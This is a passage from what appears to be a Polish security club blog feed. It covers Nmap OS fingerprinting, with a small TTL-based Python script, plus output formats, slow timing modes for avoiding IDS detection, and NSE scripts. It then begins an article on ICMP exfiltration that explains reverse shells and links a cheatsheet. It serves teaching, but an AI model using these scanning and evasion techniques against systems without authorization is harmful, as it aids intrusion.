class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;figure>
&lt;img loading="lazy" src="./option-sv.png" alt="normal-host-scan">
&lt;/figure>
&lt;hr>
&lt;h2>Wykrywanie systemu operacyjnego&lt;span class="hx:absolute hx:-mt-20" id="wykrywanie-systemu-operacyjnego">&lt;/span>
&lt;a href="#wykrywanie-systemu-operacyjnego" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Kolejna ciekawą i wartą poznania funkcją w Nmapie jest OS fingerprinting. Zadanie to polega wykryciu wersji lub rodzaju systemu operacyjnego. W określeniu systemu pomagają różnice między implementacjami protokołów, które często wynikają z niejasności opisujących je dokumentów RFC. Nmap do wykrycia tych różnic wysyła specjalnie przygotowane próbki TCP, UDP i ICMP.&lt;/p>
&lt;p>Skuteczność OS fingerprinting daje znacznie lepsze rezultaty, gdy Nmap znajdzie chociaż jeden otwarty i zamknięty port.&lt;/p>
&lt;p>Najbardziej widoczne różnice w implementacji stosu TCP/IP to rozmiar ramki i domyślna wartość TTL.&lt;/p>
&lt;p>Nic nie stoi na przeszkodzie, aby samemu napisać krótki skrypt, który w podstawowy sposób &amp;ldquo;zgaduje&amp;rdquo; wersję systemu analizując wartość TTL w sieci lokalnej. Dla przykładu poniżej skrypt w pythonie, opierający się na wartości pola TTL.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">pyping&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;Pinging &amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pyping&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">ping&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">udp&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">res&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">output&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span> &lt;span class="n">res&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ttl&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">res&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">()[&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ttl&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ttl&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;=&amp;#39;&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">ttl&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;128&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;System: Windows&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">elif&lt;/span> &lt;span class="n">ttl&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;64&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;System: Linux / Unix&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">elif&lt;/span> &lt;span class="n">ttl&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;254&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;System: Solaris / AIX&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s2">&amp;#34;Unknown OS&amp;#34;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Należy pamiętać, że część wartości można zmienić w systemie, więc nigdy nie powinniśmy być pewni uzyskanego wyniku. To tylko podstawowe wykrywanie systemu - bardziej szczegółowe wartości TTL dla systemów można znaleźć &lt;a href="https://subinsb.com/default-device-ttl-values/"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.
Sam Nmap opiera się na wielu dodatkowych parametrach - pełną informację o nich możecie znaleźć w dokumentacji &lt;a href="https://nmap.org/man/pl/man-os-detection.html"target="_blank" rel="noopener">nmapa&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Do uruchomienia Nmapa w trybie skanowania z próbą wykrycia systemu operacyjnego wystarczy poniższe polecenie.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>nmap -O 192.168.10.10&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;figure>
&lt;img loading="lazy" src="./option-o.png" alt="normal-host-scan">
&lt;/figure>
&lt;p>Porównując ten screen do poprzedniego pojawiają się nam następujące pola:&lt;/p>
&lt;ul>
&lt;li>&lt;code>Device type&lt;/code> - na podstawie zebranych odcisków urządzenie jest przyporządkowane do odpowiednich grup tj. router, printer, general purpose.&lt;/li>
&lt;li>&lt;code>Running&lt;/code> - jeśli jest możliwe to tutaj podawana jest rodzina i wersje systemów operacyjnych. Prezentowane tutaj wartości są predefiniowane&lt;/li>
&lt;li>&lt;code>OS CPE&lt;/code> - przedstawienie wykrytej wersji OS w formacie CPE(Common Platform Enumeration), czyli ustrukturyzowanym sposobie nazywania oprogramowania&lt;/li>
&lt;li>&lt;code>OS details&lt;/code> - w tym miejscu znajdują się najważniejsze informacje, w których można odnaleźć dodatkowe określenia modelu urządzenia i wykorzystywanej architektury, lecz nie znajdują się w nich żadne predefiniowane wartości.&lt;/li>
&lt;li>&lt;code>Network Distance&lt;/code> - liczba przeskoków, które trzeba wykonać, aby osiągnąć skanowane urządzenie. Podobne rezultaty zwróci polecenie traceroute/tracert. 1 przeskok oznacza że urządzenie znajduje się w sieci lokalnej, co można było też zaobserwować po adresie IP należącym do grupy prywatnych. 0 przeskoków oznacza, że skanujemy sami siebie. To pole nie jest zawsze dostępne.&lt;/li>
&lt;/ul>
&lt;p>Ze względu na wysyłanie przygotowanych próbek, Nmap jest klasyfikowany jako active OS fingerprinting. Istnieją także programy, które starają się wykryć wersję OS bez generowania pakietów, przechwytują i analizują pakiety, których źródłem lub celem jest wybrany host. Takie programy zaliczamy do passive OS fingerprinting, przykładem takiego narzędzia jest &lt;a href="https://lcamtuf.coredump.cx/p0f3/"target="_blank" rel="noopener">p0f&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;hr>
&lt;h2>Zapisywanie wyników&lt;span class="hx:absolute hx:-mt-20" id="zapisywanie-wyników">&lt;/span>
&lt;a href="#zapisywanie-wynik%c3%b3w" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Najpopularniejsze formaty zapisu wyników działania programu:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>plik tekstowy &lt;code>-oN&lt;/code>&lt;/p>
&lt;p>&lt;img src="./save-normal.png" alt="normal-save" loading="lazy" />&lt;/p>
&lt;/li>
&lt;li>
&lt;p>xml &lt;code>-oX&lt;/code> - może być konwertowany do raportu HTML, ten typ zapisu może ułatwić możliwość zapisów wyników do bazy danych. Ze względu na popularność i strukturę, może być łatwo parsowany i przetwarzany przez skrypty i programy.&lt;/p>
&lt;p>&lt;img src="./xml.png" alt="xml-save" loading="lazy" />&lt;/p>
&lt;/li>
&lt;li>
&lt;p>grepable &lt;code>-oG&lt;/code> - format przyjazny do szybkiego manipulowania wynikami za pomocą narzędzi takich jak grep i awk.&lt;/p>
&lt;p>&lt;img src="./grepable.png" alt="grepable-save" loading="lazy" />&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Zapisywanie rezultatów swojej pracy jest bardzo ważne, pozwala nie tylko przeglądać wyniki skanowania sieci, ale również umożliwia wznowienie przerwanej pracy, za pomocą przełącznika &lt;code>--resume&lt;/code>. Od Nmapa 7.40 jest to również dostępne dla formatu &lt;a href="https://security.stackexchange.com/questions/106412/stop-nmap-scan-and-preserve-xml-output/106414"target="_blank" rel="noopener">XML&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;hr>
&lt;h2>Szybkość pracy&lt;span class="hx:absolute hx:-mt-20" id="szybkość-pracy">&lt;/span>
&lt;a href="#szybko%c5%9b%c4%87-pracy" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>W zależności od celu i typu skanowanej sieci Nmap wyróżnia 6 trybów intensywności pracy, zwanymi również szablonami skanowania. Tryby określane są za pomocą przełączników od -T0 do -T5, -T3 jest to domyślna intensywność skanowania. Parametry T0 i T1 spowodują również, że skan będzie wykonywany znacznie wolniej niż przy innych opcjach, jednak te opcje mogą być pożądane jeśli chcemy zminimalizować ryzyko wykrycia przez &lt;a href="https://nmap.org/man/pl/man-performance.html"target="_blank" rel="noopener">IDS&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;hr>
&lt;h2>NSE - Nmap Scripting Engine&lt;span class="hx:absolute hx:-mt-20" id="nse---nmap-scripting-engine">&lt;/span>
&lt;a href="#nse---nmap-scripting-engine" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Nmap posiada wbudowany silnik, umożliwiający tworzenie swoich własnych skryptów. Obecnie w Nmap znajduje się prawie 600 skryptów. Istnieje również możliwość pobrania skryptów przygotowanych przez innych użytkowników. Skrypty pozwalają na uzyskanie dodatkowych informacji o usługach, mogą oferować prosty skaner podatności, próbę wykorzystania znalezionych luk, przeprowadzania ataków bruteforce na pewne usługi, czy enumerację DNS.&lt;/p>
&lt;p>Poniżej widoczny jest skrypt NSE, który zwróci w odpowiedzi rekord z bazy WHOIS, dotyczący wyszukiwanej domeny.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>nmap -sn --script whois-domain nmap.org&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;figure>
&lt;img loading="lazy" src="./script-whois-domain.png" alt="script-whois-domain">
&lt;/figure>
&lt;p>Do uzyskania informacji o skrypcie wystarczy przełącznik &lt;code>--script-help&lt;/code>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>nmap --script-help whois-domain&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Skrypty znajdują się w katalogu &lt;em>/usr/share/nmap/scripts&lt;/em>.&lt;/p>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Nmap jest jednym z najpopularniejszych narzędzi do przeprowadzania rekonesansu sieciowego dla pentesterów, jednak z powodzeniem może być również wykorzystywany przez administratorów. Dzięki rozbudowanym możliwościom i opcjom to doskonałe narzędzie nie tylko do wykrywania aktywnych hostów i skanowania portów, ale również do rozpoznawania usług i systemów operacyjnych na skanowanych hostach. Pozwala także na rozpoznawanie usług i systemów operacyjnych na skanowanych hostach. Kolejną jego siłą jest możliwość rozszerzania możliwości poprzez wykorzystywanie rozbudowanych skryptów NSE. Ze względu na ogromne możliwości jakie oferuje Nmap, czas poświęcony na poznawanie tego narzędzia nigdy nie będzie czasem straconym.&lt;/p>
&lt;h2>Biblioteczka:&lt;span class="hx:absolute hx:-mt-20" id="biblioteczka">&lt;/span>
&lt;a href="#biblioteczka" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>&lt;a href="https://www.nastykusieci.pl/arp-podstawy/"target="_blank" rel="noopener">https://www.nastykusieci.pl/arp-podstawy/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://emvi.eu.org/icmp/index3.html"target="_blank" rel="noopener">https://emvi.eu.org/icmp/index3.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://sekurak.pl/nmap-i-12-przydatnych-skryptow-nse/"target="_blank" rel="noopener">https://sekurak.pl/nmap-i-12-przydatnych-skryptow-nse/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="http://securitysynapse.blogspot.com/2013/08/refining-your-nmap-scan-strategy.html"target="_blank" rel="noopener">http://securitysynapse.blogspot.com/2013/08/refining-your-nmap-scan-strategy.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://www.hackingarticles.in/comprehensive-guide-on-nmap-port-status/"target="_blank" rel="noopener">https://www.hackingarticles.in/comprehensive-guide-on-nmap-port-status/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://nmap.org/book/osdetect-methods.html"target="_blank" rel="noopener">https://nmap.org/book/osdetect-methods.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://nmap.org/book/port-scanning-options.html"target="_blank" rel="noopener">https://nmap.org/book/port-scanning-options.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p></description></item><item><title>Eksfiltracja po ICMP</title><link>https://whitehats.pwr.edu.pl/blog/2020-05-15-icmp-eksfiltracja/</link><pubDate>Fri, 15 May 2020 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2020-05-15-icmp-eksfiltracja/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2020-05-15-icmp-eksfiltracja/header_hu_d3f7310b1f4baab2.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>W tym artykule przyjrzymy się mniej powszechnej technice eksfiltracji danych z użyciem protokołu ICMP, którego używa m.in. program ping.&lt;/p>
&lt;p>W dziedzinie testów penetracyjnych (czyli testów zabezpieczeń) rozróżnia się tzw. &lt;em>&lt;a href="https://en.wikipedia.org/wiki/Red_team"target="_blank" rel="noopener">Red team&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em> oraz &lt;em>&lt;a href="https://en.wikipedia.org/wiki/Blue_team_%28computer_security%29"target="_blank" rel="noopener">Blue team&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>, drużyny atakujących (np. testerów penetracyjnych) i obrońców (np. administratorów). Na potrzeby tego tekstu nazwijmy ich Czerwonymi oraz Niebieskimi.&lt;/p>
&lt;h2>Eksfiltracja - z czym to się je?&lt;span class="hx:absolute hx:-mt-20" id="eksfiltracja---z-czym-to-się-je">&lt;/span>
&lt;a href="#eksfiltracja---z-czym-to-si%c4%99-je" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Eksfiltracja w dziedzinie bezpieczeństwa to wyciąganie danych z jakiegoś miejsca. Oczywiście w tej branży to miejsce z reguły nie jest przeznaczone, by wszyscy chętni się za to zabierali.&lt;/p>
&lt;h2>Standardowe sposoby&lt;span class="hx:absolute hx:-mt-20" id="standardowe-sposoby">&lt;/span>
&lt;a href="#standardowe-sposoby" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Często jednak gospodarz nawet nie wie, że eksfiltracja się odbywa. Czerwoni zawsze starają się wykorzystać techniki, które przechodzą tuż pod radarem Niebieskich. Przykładowo - dobrze wiadomo, że ruch UDP/TCP z komputera powinien być wnikliwie monitorowany, by udaremnić wysłanie za jego pośrednictwem wrażliwych informacji. Utworzenie tzw. &lt;a href="https://www.netsparker.com/blog/web-security/understanding-reverse-shells/"target="_blank" rel="noopener">Reverse shell&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> (zdalnej linii komend, za której pomocą haker może kontrolować komputer bez wiedzy właściciela) jest banalnie proste z użyciem dowolnego oprogramowania (sprawdźcie ten &lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md"target="_blank" rel="noopener">link&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>), które jest w stanie wysyłać i odbierać ruch UDP/TCP.&lt;/p>
&lt;p>Powiedzmy, że ruch jest &lt;a href="https://opensecurity.pl/szyfrowanie-kodowanie-hashowanie/"target="_blank" rel="noopener">zakodowany&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> niekonwencjonalnymi sposobami lub szyfrowany i nie będzie widoczny niewprawnym okiem tak jak w poniższym przykładzie:&lt;/p>
&lt;!-- &lt;figure class="align-center">
&lt;img loading="lazy" src="./RevShell_VistaPacket.jpg" alt="CMD shell commands in wireshark">
&lt;/figure> -->
&lt;p>W dalszym ciągu ruch standardowych pakietów TCP/UDP musi odbyć się na nieużywanym porcie maszyny. Jest to stosunkowo łatwiejsze do wykrycia jako odstępstwo od normy. Szczególnie podejrzanie dla administratorów wyglądają otwarte porty o wysokich numerach jak np. 55555. Z drugiej strony wystawienie usługi na takim porcie jest często pomijane przez szybkie skany z zewnątrz.&lt;/p>
&lt;p>Inną sprawą jest to, że trzeba najpierw taką eksfiltrację ustawić. Wirus tworzący zdalną linię poleceń może być dostarczony w różny sposób (phishing, zdalne wykonanie kodu itd.), ale musi zostać najpierw uruchomiony. Przy użyciu znanych i lubianych technik może być to zablokowane przez tak podstawowego antywirusa, jak Windows Defender.&lt;/p>
